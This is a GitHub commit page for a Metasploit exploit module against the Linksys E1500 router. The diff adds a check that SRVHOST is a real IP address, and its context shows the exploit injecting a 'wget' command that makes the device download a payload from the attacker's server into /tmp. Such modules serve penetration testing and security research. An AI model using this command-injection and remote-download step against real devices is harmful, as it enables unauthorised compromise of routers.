Skip to content

Commit c386d54

Browse files
author
m-1-k-3
committed
check SRVHOST
1 parent b318b0c commit c386d54

File tree

1 file changed

+6
-0
lines changed

1 file changed

+6
-0
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -161,6 +161,11 @@ def exploit
161161
datastore['SSL'] = false
162162
end
163163

164+
#we use SRVHOST as download IP for the coming wget command.
165+
#SRVHOST needs a real IP address of our download host
166+
if datastore['SRVHOST'] =~ /0\.0\.0\.0/
167+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Configure SRVHOST to your local IP address.")
168+
end
164169
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
165170
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
166171
start_service({'Uri' => {
@@ -179,6 +184,7 @@ def exploit
179184
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
180185
#this filename is used to store the payload on the device
181186
filename = rand_text_alpha_lower(8)
187+
182188
#not working if we send all command together -> lets take three requests
183189
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
184190
res = request(cmd,user,pass,uri)

0 commit comments

Comments
 (0)